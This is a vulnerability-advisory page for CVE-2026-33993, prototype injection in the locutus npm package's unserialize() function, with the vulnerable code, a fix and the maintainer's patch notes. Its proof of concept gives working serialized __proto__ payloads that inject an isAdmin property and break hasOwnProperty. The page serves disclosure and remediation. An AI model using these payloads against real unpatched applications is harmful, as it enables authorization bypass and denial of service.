CVE-2026-33993

| EUVD-2026-16888 MEDIUM
2026-03-27 https://github.com/locutusjs/locutus GHSA-4mph-v827-f877
6.9
CVSS 4.0
Share

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

4
Analysis Generated
Mar 27, 2026 - 18:00 vuln.today
EUVD ID Assigned
Mar 27, 2026 - 18:00 euvd
EUVD-2026-16888
Patch Released
Mar 27, 2026 - 18:00 nvd
Patch available
CVE Published
Mar 27, 2026 - 17:57 nvd
MEDIUM 6.9

Description

## Summary The `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) - `unserialize` is a different function with no mitigation applied. ## Details The vulnerable code is in two functions within `src/php/var/unserialize.ts`: **`expectArrayItems()` at line 358:** ```typescript // src/php/var/unserialize.ts:329-366 function expectArrayItems( str: string, expectedItems = 0, cache: CacheFn, ): [UnserializedObject | UnserializedValue[], number] { // ... const items: UnserializedObject = {} // ... for (let i = 0; i < expectedItems; i++) { key = expectKeyOrIndex(str) // ... item = expectType(str, cache) // ... items[String(key[0])] = item[0] // line 358 - no __proto__ filtering } // ... } ``` **`expectObject()` at line 278:** ```typescript // src/php/var/unserialize.ts:246-287 function expectObject(str: string, cache: CacheFn): ParsedResult { // ... const obj: UnserializedObject = {} // ... for (let i = 0; i < propCount; i++) { // ... obj[String(prop[0])] = value[0] // line 278 - no __proto__ filtering } // ... } ``` Both functions create a plain object (`{}`) and assign user-controlled keys via bracket notation. When the key is `__proto__`, JavaScript's `__proto__` setter replaces the object's prototype rather than creating a regular property. This means: 1. Properties in the attacker-supplied prototype become accessible via dot notation and the `in` operator 2. These properties are invisible to `Object.keys()`, `JSON.stringify()`, and `hasOwnProperty()` 3. They propagate to copies made via `for...in` loops, becoming real own properties 4. The attacker can override `hasOwnProperty`, `toString`, `valueOf` with non-function values Notably, `parse_str` in the same package has a regex guard against `__proto__` (line 74 of `src/php/strings/parse_str.ts`), but no equivalent protection was applied to `unserialize`. This is **not** global `Object.prototype` pollution - only the deserialized object's prototype is replaced. Other objects in the application are not affected. ## PoC **Setup:** ```bash npm install [email protected] ``` **Step 1 - Property injection via array deserialization:** ```js import { unserialize } from 'locutus/php/var/unserialize'; const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}'; const config = unserialize(payload); console.log(config.isAdmin); // true (injected via prototype) console.log(Object.keys(config)); // ['name'] - isAdmin is hidden console.log('isAdmin' in config); // true - bypasses 'in' checks console.log(config.hasOwnProperty('isAdmin')); // false - invisible to hasOwnProperty ``` **Verified output:** ``` true [ 'name' ] true false ``` **Step 2 - for...in propagation makes injected properties real:** ```js const copy = {}; for (const k in config) copy[k] = config[k]; console.log(copy.isAdmin); // true (now an own property) console.log(copy.hasOwnProperty('isAdmin')); // true ``` **Verified output:** ``` true true ``` **Step 3 - Method override denial of service:** ```js const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}'; const obj = unserialize(payload2); obj.hasOwnProperty('x'); // TypeError: obj.hasOwnProperty is not a function ``` **Verified output:** ``` TypeError: obj.hasOwnProperty is not a function ``` **Step 4 - Object type (stdClass) is also vulnerable:** ```js const payload3 = 'O:8:"stdClass":2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}'; const obj2 = unserialize(payload3); console.log(obj2.isAdmin); // true console.log('isAdmin' in obj2); // true ``` **Step 5 - Confirm NOT global pollution:** ```js console.log(({}).isAdmin); // undefined - global Object.prototype is clean ``` ## Impact - **Property injection**: Attacker-controlled properties become accessible on the deserialized object via dot notation and the `in` operator while being invisible to `Object.keys()` and `hasOwnProperty()`. Applications that use `if (config.isAdmin)` or `if ('role' in config)` patterns on deserialized data are vulnerable to authorization bypass. - **Property propagation**: When consuming code copies the object using `for...in` (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent `hasOwnProperty` checks. - **Denial of service**: The injected prototype can override `hasOwnProperty`, `toString`, `valueOf`, and other `Object.prototype` methods with non-function values, causing `TypeError` when these methods are called on the deserialized object. The primary use case for locutus `unserialize` is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic. ## Recommended Fix Filter dangerous keys before assignment in both `expectArrayItems` and `expectObject`. Use `Object.defineProperty` to create a data property without triggering the `__proto__` setter: ```typescript const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']); // In expectArrayItems (line 358) and expectObject (line 278): const keyStr = String(key[0]); // or String(prop[0]) in expectObject if (DANGEROUS_KEYS.has(keyStr)) { Object.defineProperty(items, keyStr, { value: item[0], writable: true, enumerable: true, configurable: true, }); } else { items[keyStr] = item[0]; } ``` Alternatively, create objects with a null prototype to prevent `__proto__` setter invocation entirely: ```typescript // Replace: const items: UnserializedObject = {} // With: const items = Object.create(null) as UnserializedObject; ``` The `Object.create(null)` approach is more robust as it prevents the `__proto__` setter from ever being triggered, regardless of key value. ## Maintainer Reponse Thank you for the report. This issue was reproduced locally against `[email protected]`, confirming that `unserialize()` was vulnerable to `__proto__`-driven prototype injection on the returned object. This is now fixed on `main` and released in `[email protected]`. ## Fix Shipped In - **PR:** [#597](https://github.com/locutusjs/locutus/pull/597) - **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4` - **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25) ## What the Fix Does The fix hardens `src/php/var/unserialize.ts` by treating `__proto__`, `constructor`, and `prototype` as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics. ## Tested Repro Before the Fix - Attacker-controlled serialized `__proto__` key produced inherited properties on the returned object - `Object.keys()` hid the injected key while `'key' in obj` stayed true - Built-in methods like `hasOwnProperty` could be disrupted ## Tested State After the Fix in `3.0.25` - Dangerous keys are kept as own enumerable properties - The returned object's prototype is not replaced - The regression is covered by `test/custom/unserialize-prototype-pollution.vitest.ts` --- The locutus team is treating this as a real package vulnerability with patched version `3.0.25`.

Analysis

Prototype pollution in the locutus npm package's unserialize() function allows remote attackers to inject arbitrary properties into deserialized objects by crafting malicious PHP-serialized payloads containing __proto__ keys, enabling authorization bypass, property propagation attacks, and denial of service via method override. The vulnerability affects locutus versions prior to 3.0.25; publicly available exploit code exists demonstrating property injection, for-in propagation to real own properties, and built-in method disruption.

Sign in for full analysis, threat intelligence, and remediation guidance.

Remediation

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Vendor patch is available.

Sign in for detailed remediation steps.

Priority Score

35
Low Medium High Critical
KEV: 0
EPSS: +0.0
CVSS: +34
POC: 0

Share

CVE-2026-33993 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy